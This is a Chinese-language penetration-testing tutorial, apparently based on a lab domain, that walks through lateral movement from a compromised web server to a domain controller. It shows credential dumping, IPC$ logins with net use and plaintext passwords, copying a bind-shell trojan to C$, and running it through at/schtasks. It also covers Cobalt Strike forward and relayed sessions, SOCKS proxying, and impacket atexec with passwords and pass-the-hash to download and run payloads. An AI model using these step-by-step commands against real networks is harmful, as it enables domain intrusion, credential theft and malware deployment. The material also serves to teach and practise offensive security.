利用 IPC
远程登录打开 445
文件共享然后拷贝木马到指定目录,然后运行计划任务执行上线
存在 Py
套件和 exe
简化了手工过程,不能直接将工具上传到受害机器风险很大,还是老方法建立代理
使攻击机机和域内机器在同一网段,这样在本地就可以运行套件去攻击
环境
已知拿下了
Webserver
服务器的权限,内网其余主机均是没有网络的,不是被防火墙所限制而是完全没有网络,通过已拿下的主机进行横向移动
# 域信息收集
CS
上线后对域内进行信息收集 — 目标 — 用户 — 凭证 — 网络
某些收集命令无法运行是由于我们的权限不足,那么我们需要提权,通过 CS
安装的插件一键提权, System
最高权限,有了权限再运行命令得到凭证
# 判断域内信息
1 | net time/domain // 首先通过命令判断是否处于域环境下正常会回显域控地址 |
# 内网主机探测
主机网络探测对同一网段的其他主机进行端口扫描,并检测是否为存活主机,是的话则可能是域内成员主机
3.31
为已经获取权限的主机地址, 3.21
域控主机其余是内网环境下的其他主机,判断网络出网方式,获取权限的 3.31
, 但是木马信息上还是我们的地址,所以判断要么是不出网 or
限制出网协议某些协议能出去
# 密码凭证抓取
3.31
抓取密码凭证,后期的移动渗透都是依赖它的,抓取有时候并不是明文或者 Hash
, 读不到的情况对面可能是做了防护打了补丁,得到密码信息后就开始利用信息做横向移动
# IPC 远程登录正向连接
使用 IPC
远程登录计算机 445
139
端口以进行文件共享,但是域控不出网络,攻击机不能和 3.31
一样直接传木马连接,必须将木马传递至受控主机,通过该主机的通信先远程登录域控,再 copy
木马到目录下执行计划任务上线
IPC
是文件共享协议所造成的安全问题
1 | // at命令是添加计划任务命令 |
# 利用条件
1 | 1、目标机开启了139和445端口; |
# 0X01 生成正向连接木马上传
通过正向连接,目标不出网我们主动连接,生成正向连接绑定本地端口的木马,
# 0X02 横向移动远程登录域控
命令 + 密码横向移动 3.21
域控地址密码是由受控主机抓取而来
命令含义
命令是 Windows
操作系统中的一个命令,用于在本地计算机上建立到远程计算机的网络连接
并访问远程计算机的共享资源, IP
地址
1 | net use \\ 192.168.3.21 \ipc$ " Admin12345 " /user.god.org\ administrator |
# 0X03 拷贝木马文件至域控
3.31
远程和域控通信后使用命令复制木马
1 | copy 4444.exe \\192.168.3.21 \c$ // 拷贝木马文件到目标机器目录c盘下 |
凭证正常连接的域控 C 盘下会拷贝出正向木马文件
# 0X04 计划任务定时上线
通过命令添加计划任何使木马文件规定什么时间执行,但是要区分好操作系统版本不知道对方主机版本的前提下 at
命令和 schtasks
均尝试
1 | win2012系统前命令 |
到规定时间执行文件后, CS
执行正向连接命令主动正向连接 3.21
1 | connect 192.168.3.21 4444 // 4444为绑定的本地端口号 |
# 代理转发 反向连接
右键受控主机 3.31
转发上线会出现监听器模块,此监听器给到的木马流量会转发到攻击机,配置转发监听器木马的 Payload
选择为它就可以了,会生成反向连接木马
木马通过上方的手段拷贝至 3.21
C 盘下,执行后反向连接流量转发上线,流量会从 3.31
地址转发到攻击机
# 套件
# atexec.py-impacket
IPC 套件版 Impacketc, 可以直接和指定主机进行 IPC 连接,该工具是一个半交互的,适用于 Webshell11 下 Socks 代理下;渗透中收集用户名 明文密码 hash 远程主机作为字典批量测试
我们学习到的横向移动方式都可以通过脚本去代替,减少输入的命令,但是实战中 Py
文件如何去执行也是很困难的事情有诸多因素影响
- 文件打包过大上传告警 / 中等上传
- 网络问题
- 缺少环境
# 0X01 CS socks 代理节点转发
建立节点享用网络在攻击机中执行攻击, 3.*
网段流量流量转发至攻击机利用 3.31
转发流量
1 | CS—>代理转发—>socks代理 将流量代理到攻击机中,攻击机直接攻击无须上传木马工具 |
打开代理软件设置端口和代理目标服务器为我们攻击机地址
建立代理规则,目标主机走 3 网段的通通走这个规则
攻击机机可以访问 3.31
地址等于在同一网段了,模拟我们是域内的机器在本地使用 Py
文件即可
# 0X02 运行 Py 文件远程登录
运行 Py
文件执行远程登录输出命令类似与碰撞,但是主机多密码多的情况怎么处理呢,编写脚本批量去碰撞
地址和密码
1 | // 远程登录执行 whoami命令 |
自行写 Py
文件去匹配横向,向包含在数组里的 IP
执行远程登录并下载木马的操作,并执行上线
执行木马上线后上线主机继续抓取密码凭证再次进行横向移动,用账户秘密信对域内其他成员主机继续横向
# atexec.exe 正向上线
上传 atexec.exe
到 3.31
主机桌面下运行文件输入明文账户密码连接
1 |
|
# hash 连接
支持密文 hash
密码进行连接
1 | atexec.exe -hashes :ccefxxxxxx god/admininstrator@192.168.3.21 "whoami" |
通过 exe
文件可以远程连接从而执行命令,上方的命令只是简单的 whoami
我们需要在 3.21
主机执行远程下载木马命令达到正向连接上线目的,不出网络只能正向连接
菱角社区生成文件下载命令拿到 cmd
执行
1 | Desktop>atexec.exe god/admininstrator:Admin12345@192.168.3.21 |
成功下载
回到 3.31
地址 远程执行命令运行上传的 zx.exe
木马
1 | Desktop>atexec.exe god/admininstrator:Admin12345@192.168.3.32 "zx.exe" |
CS 运行命令正向连接木马
1 | connect 192.168.3.32 4444 |
# CS 插件正向上线
CS 插件输入对应的域名地址和凭证进行连接